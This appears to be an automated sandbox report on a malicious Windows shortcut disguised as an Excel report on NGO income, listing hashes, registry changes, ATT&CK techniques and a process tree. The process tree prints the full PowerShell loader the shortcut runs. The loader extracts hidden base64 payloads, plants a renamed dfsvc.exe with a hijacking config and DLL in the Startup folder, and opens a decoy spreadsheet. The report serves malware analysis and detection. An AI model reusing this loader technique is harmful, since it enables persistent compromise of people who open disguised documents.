9d0807210b0615870545a18ab8eae8cecf324e89ab8d3b39a461d45cab9ef957

General

Target
Report on NGO Income_edit.xlsx.lnk
Size 66KB
Sample240922-f11statdqa
SHA256 9d0807210b0615870545a18ab8eae8cecf324e89ab8d3b39a461d45cab9ef957
MD5 63dc2ab3fb59a1e5caf485b60ed1f9cc
SHA1 7d45d1f8b6f2b919b526eb9f085f2c7dc189f81e
SHA512 e75677620219112bc541ad2ad5a40446a39b730047f9d9d051c1144b0121cca2c9f88ddae753bc81bcd0a9ec90a2d4b3388b3d0747d5ccd432d76485ddb6fb49
SSDEEP 768:Satdzsari6YHVlWpbeEsM4XAZjHt58p+BMysVHnlcJr5ToCWGAPj7:Stari6YjMerMWwPg+BuVHlcrUB77
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\installer\{ac76ba86-7ad7-1033-7b44-a90000000001}\pdffile_8.ico	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 18 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 200000001a00eebbfe2300001000d09ad3fd8f23af46adb46c85480369c700000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1364	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3064	explorer.exe
3064	explorer.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 1364	2092	cmd.exe	31
PID 2092 wrote to memory of 1364	2092	cmd.exe	31
PID 2092 wrote to memory of 1364	2092	cmd.exe	31
PID 1364 wrote to memory of 2856	1364	powershell.exe	33
PID 1364 wrote to memory of 2856	1364	powershell.exe	33
PID 1364 wrote to memory of 2856	1364	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Report on NGO Income_edit.xlsx.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c $t=$env:appdata+'\Microsoft\Windows\Start Menu\Programs\Startup';if(Get-ChildItem $env:temp -recurse 'Report on NGO Income_edit.xlsx.lnk'){$k=New-Object IO.FileStream ($env:temp+'\'+((Get-ChildItem $env:temp -recurse 'Report on NGO Income_edit.xlsx.lnk').Directory).Name+'\'+'Report on NGO Income_edit.xlsx.lnk'),'Open','Read','ReadWrite'}else{$k=New-Object IO.FileStream 'Report on NGO Income_edit.xlsx.lnk','Open','Read','ReadWrite'};$b=New-Object byte[](64744);$k.Seek(2903,[IO.SeekOrigin]::Begin);$k.Read($b,0,64744);$a=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64CharArray($b,0,$b.Length)) -split ':';copy 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe' ($t+'\d.exe');[IO.File]::WriteAllBytes($t+'\d.exe.config',[Convert]::FromBase64""String($a[0]));[IO.File]::WriteAllBytes($t+'\DomainManager.dll',[Convert]::FromBase64""String($a[1]));[IO.File]::WriteAllBytes($env:temp+'\e.xlsx',[Convert]::FromBase64""String($a[2]));explorer ($env:temp+'\e.xlsx');
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe" C:\Users\Admin\AppData\Local\Temp\e.xlsx
    3⤵
    PID:2856

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1364-38-0x000007FEF661E000-0x000007FEF661F000-memory.dmp

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memory/1364-39-0x000000001B540000-0x000000001B822000-memory.dmp

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memory/1364-40-0x0000000002780000-0x0000000002788000-memory.dmp

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memory/1364-41-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/1364-42-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/1364-43-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/1364-44-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/1364-45-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/1364-46-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/1364-48-0x000007FEF6360000-0x000007FEF6CFD000-memory.dmp

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memory/3064-49-0x0000000003A90000-0x0000000003AA0000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads